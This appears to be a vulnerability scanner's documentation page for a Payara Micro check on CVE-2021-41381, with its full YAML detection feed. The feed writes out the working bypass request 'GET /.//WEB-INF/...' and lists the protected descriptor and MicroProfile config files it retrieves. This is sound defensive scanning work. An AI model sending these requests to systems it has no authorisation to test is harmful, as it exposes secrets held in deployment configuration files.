Payara — 1 vulnerability check

noctis ships 1 vulnerability check for Payara, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

Payara Micro /.//WEB-INF/ Resource Disclosure

CVECVE-2021-41381
Severityhigh · CVSS 7.5
Categoryfile-read — File read
Serviceshttp, https
Detectionset_var, http_request, match, tcp_connect, script · highest QoD 75
Feedtests/vulnerabilities/payara/CVE-2021-41381.yaml

Tests for CVE-2021-41381: Payara Micro Community <= 5.2021.6 (application at context root `/`) and other servlet containers with the same flaw serve the protected /WEB-INF/ resources (web.xml, microprofile-config.properties, ...) when the path starts with `/.//`. The feed sends the bypass request and confirms an HTTP 200 reply carrying the real file, which the plain /WEB-INF/ path does not return.

How noctis detects it

  1. HTTP(S) request GET /{{webinf_path}}
  2. Checks direct_resp.body for (?:(?s:.*?)<(?:web-app|payara-web-app|glassfish-web-app)[\s>](?s:.*)<…
  3. Raw TCP (TLS on HTTPS), sent verbatim: GET /.//{{webinf_path}} HTTP/1.0
  4. Checks wx.banner for \AHTTP/1\.[01] 200[^\r\n]*\r?\n(?:[^\r\n]+\r?\n)*\r?\n(?:(?s:.*?)<(we…
  5. Parses / computes the next value with a Rhai script
  6. Checks verdict for ^RESOURCE_DISCLOSED → finding QoD 75: GET /.//… returned HTTP 200 with the protected WEB-INF resource, while GET /… did not — … (values not recorded)

References:

Feed source — tests/vulnerabilities/payara/CVE-2021-41381.yaml
# Payara Micro `/.//WEB-INF/` resource disclosure — CVE-2021-41381
#
# The servlet specification forbids a container from serving anything under a
# web application's /WEB-INF/ directory. Payara Micro Community up to 5.2021.6,
# with an application deployed at context root `/` (`--contextroot /`, or a
# ROOT.war), skips that guard when the path starts with `/./` followed by an
# empty segment: `GET /.//WEB-INF/web.xml` returns the protected deployment
# descriptor, and `/.//WEB-INF/classes/META-INF/microprofile-config.properties`
# the MicroProfile configuration (OpenID client secrets, DB URLs, ...). Fixed in
# 5.2021.7. Other servlet containers with the same flaw are caught too.
#
# Detection (QoD 75 — real exploitation, read-only proof): for each protected
# resource below, the feed
#   1. Control: requests it on the plain path (/WEB-INF/...). If the plain path
#      already serves it, the server has a different (broader) exposure that
#      other checks report — this path is skipped, exactly like the NASL.
#   2. Exploit: raw `GET /.//WEB-INF/... HTTP/1.0`. The request path must go out
#      verbatim (reqwest would collapse `/./` before sending), so `tcp_connect`
#      is used — TLS is wrapped automatically on https.
#   3. Fires only when the reply is HTTP 200 AND the body really is that file:
#      a `<web-app>` / `<payara-web-app>` / `<glassfish-web-app>` root element
#      followed by its closing tag (any layout: one line, attributes on the
#      next lines, minified), or a body that is entirely a Java properties
#      file (only `key=value`, comment, blank and continuation lines; the
#      first key dotted, e.g. `mp.x`, `greeting.message`) — an HTML or
#      plain-text page can't pass, so a catch-all 200 page stays clean.
#      If the control request itself fails, the path is skipped (no guess).
#
# Verified against real Payara Micro Docker images (app.war deployed with
# `--contextroot /`): payara/micro:5.2021.1 serves both web.xml and
# microprofile-config.properties on `/.//WEB-INF/...` (and 404s the plain path,
# the lowercase `/.//web-inf/` spelling, `//WEB-INF/` and `/./WEB-INF/`);
# payara/micro:5.2021.7 404s every spelling. (5.2021.5/.6 crash at boot with
# `--contextroot /` in Docker — an unrelated Jersey ServletConfig bug.)
#
# Better than the OpenVAS NASL:
#   - the NASL only asks for web.xml, which Payara Micro apps (annotation-
#     configured) usually do not ship — it misses them. This feed also tries
#     microprofile-config.properties (the file of the original SySS advisory and
#     the Nuclei template), payara-web.xml and glassfish-web.xml;
#   - the NASL reads the body only (`bodyonly:TRUE`) and ignores the status, so
#     an error page that echoes XML can match; this feed requires HTTP 200;
#   - the Nuclei template only matches two specific `payara.security.openid.*`
#     keys, i.e. one particular app; this feed accepts any properties file;
#   - the NASL pastes 1500 bytes of the file into its report; these files hold
#     secrets, so the finding only ever carries the descriptor root element NAME
#     or the first property KEY — never a value — and every regex runs in a
#     `match` step (no script copy, so a reply over the 1 MB Rhai string cap
#     cannot abort the test).
#
# Nothing is written, executed or deleted on the target.
#
# Ported from OpenVAS/Greenbone NVT
# `2021/gb_web-inf_dotslashslash_info_disclosure.nasl` (OID 1.3.6.1.4.1.25623.1.0.117707,
# GPL-2.0-only); cross-checked with Nuclei `http/cves/2021/CVE-2021-41381.yaml` and
# the SySS advisory SYSS-2021-054.
uid: 5707d5a4-de2c-441a-8b56-2f01c3ddb33f
name: "Payara Micro /.//WEB-INF/ Resource Disclosure (CVE-2021-41381)"
description: |
  Tests for CVE-2021-41381: Payara Micro Community <= 5.2021.6 (application at
  context root `/`) and other servlet containers with the same flaw serve the
  protected /WEB-INF/ resources (web.xml, microprofile-config.properties, ...)
  when the path starts with `/.//`. The feed sends the bypass request and
  confirms an HTTP 200 reply carrying the real file, which the plain /WEB-INF/
  path does not return.
cves: [CVE-2021-41381]
cvss: 7.5
severity: high
category: file-read
confidence_base: 0.25
tags: [payara, glassfish, web-inf, web-xml, microprofile, path-traversal, information-disclosure, file-read]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2021-41381"
  - "https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2021-054.txt"
  - "https://docs.payara.fish/community/docs/release-notes/release-notes-2021-7.html"
  - "https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2021/CVE-2021-41381.yaml"

steps:
  # ── Per protected resource (the loop groups every step below) ──────────
  # Pre-initialise every stored result read later: a skipped or failed step
  # leaves store_as unset, which would re-use the previous path's value.
  - id: init-direct
    action: set_var
    var_name: direct_resp
    var_value: {status: 0, body: ""}
    loop:
      over:
        - "WEB-INF/web.xml"
        - "web-inf/web.xml"
        - "WEB-INF/payara-web.xml"
        - "WEB-INF/glassfish-web.xml"
        - "WEB-INF/classes/META-INF/microprofile-config.properties"
      var: webinf_path

  - id: init-direct-m
    action: set_var
    var_name: direct_m
    var_value: {matched: false, captures: []}

  - id: init-wx
    action: set_var
    var_name: wx
    var_value: {connected: false, banner: ""}

  - id: init-desc-m
    action: set_var
    var_name: desc_m
    var_value: {matched: false, captures: []}

  # ── 1. Control: is the resource already served on the plain path? ──────
  - id: direct
    action: http_request
    method: GET
    path: "/{{webinf_path}}"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: direct_resp

  # No on_match → no finding, just the stored verdict.
  - id: direct-check
    action: match
    source: direct_resp.body
    pattern: '(?:(?s:.*?)<(?:web-app|payara-web-app|glassfish-web-app)[\s>](?s:.*)</(?:web-app|payara-web-app|glassfish-web-app)\s*>|\A(?:[ \t]*(?:[#!][^\r\n]*)?\r?\n)*[ \t]*[A-Za-z][A-Za-z0-9_\-]*\.[A-Za-z0-9_.\-]+[ \t]*=[^\r\n]*(?:\r?\n(?:[ \t]*(?:[#!][^\r\n]*)?|[ \t]*[A-Za-z][A-Za-z0-9_.\-]*[ \t]*=[^\r\n]*|[ \t]+[^\r\n]*))*(?:\r?\n)?\z)'
    condition: "direct_resp.status == 200"
    store_as: direct_m

  # ── 2. Exploit: `/./` + empty segment in front of WEB-INF ──────────────
  - id: dotslash-webinf
    action: tcp_connect
    port: "{{port}}"
    send: "GET /.//{{webinf_path}} HTTP/1.0\r\nHost: {{target_host}}\r\nUser-Agent: noctis\r\nAccept: */*\r\nConnection: close\r\n\r\n"
    timeout_secs: 10
    # status 0 = the control request itself failed (init value kept): we
    # can't tell whether the plain path is served, so this path is skipped.
    condition: "direct_m.matched == false && direct_resp.status != 0"
    store_as: wx

  # ── 3. HTTP 200 + the real file in the body ────────────────────────────
  #       Captures only the descriptor root element NAME or the property KEY,
  #       so no value (context-param / OpenID secret) reaches the finding.
  - id: disclosure-check
    action: match
    source: wx.banner
    pattern: '\AHTTP/1\.[01] 200[^\r\n]*\r?\n(?:[^\r\n]+\r?\n)*\r?\n(?:(?s:.*?)<(web-app|payara-web-app|glassfish-web-app)[\s>](?s:.*)</(?:web-app|payara-web-app|glassfish-web-app)\s*>|(?:[ \t]*(?:[#!][^\r\n]*)?\r?\n)*[ \t]*([A-Za-z][A-Za-z0-9_\-]*\.[A-Za-z0-9_.\-]+)[ \t]*=[^\r\n]*(?:\r?\n(?:[ \t]*(?:[#!][^\r\n]*)?|[ \t]*[A-Za-z][A-Za-z0-9_.\-]*[ \t]*=[^\r\n]*|[ \t]+[^\r\n]*))*(?:\r?\n)?\z)'
    condition: "direct_m.matched == false && direct_resp.status != 0"
    store_as: desc_m

  - id: disclosure-verdict
    action: script
    code: |
      let verdict = "";
      if desc_m.matched == true && desc_m.captures.len() > 0 {
        let c = desc_m.captures[0];
        if c == "web-app" || c == "payara-web-app" || c == "glassfish-web-app" {
          verdict = "RESOURCE_DISCLOSED deployment descriptor root element <" + c + ">";
        } else {
          verdict = "RESOURCE_DISCLOSED config property key " + c;
        }
      }
      verdict
    store_as: verdict

  # ── 4. Confirm the disclosure ──────────────────────────────────────────
  - id: resource-disclosed
    action: match
    source: verdict
    pattern: "^RESOURCE_DISCLOSED "
    on_match:
      finding:
        confidence_delta: 0.60
        qod: 75
        evidence: "GET /.//{{webinf_path}} returned HTTP 200 with the protected WEB-INF resource, while GET /{{webinf_path}} did not — {{verdict}} (values not recorded)"
      stop: true

View these feeds on GitHub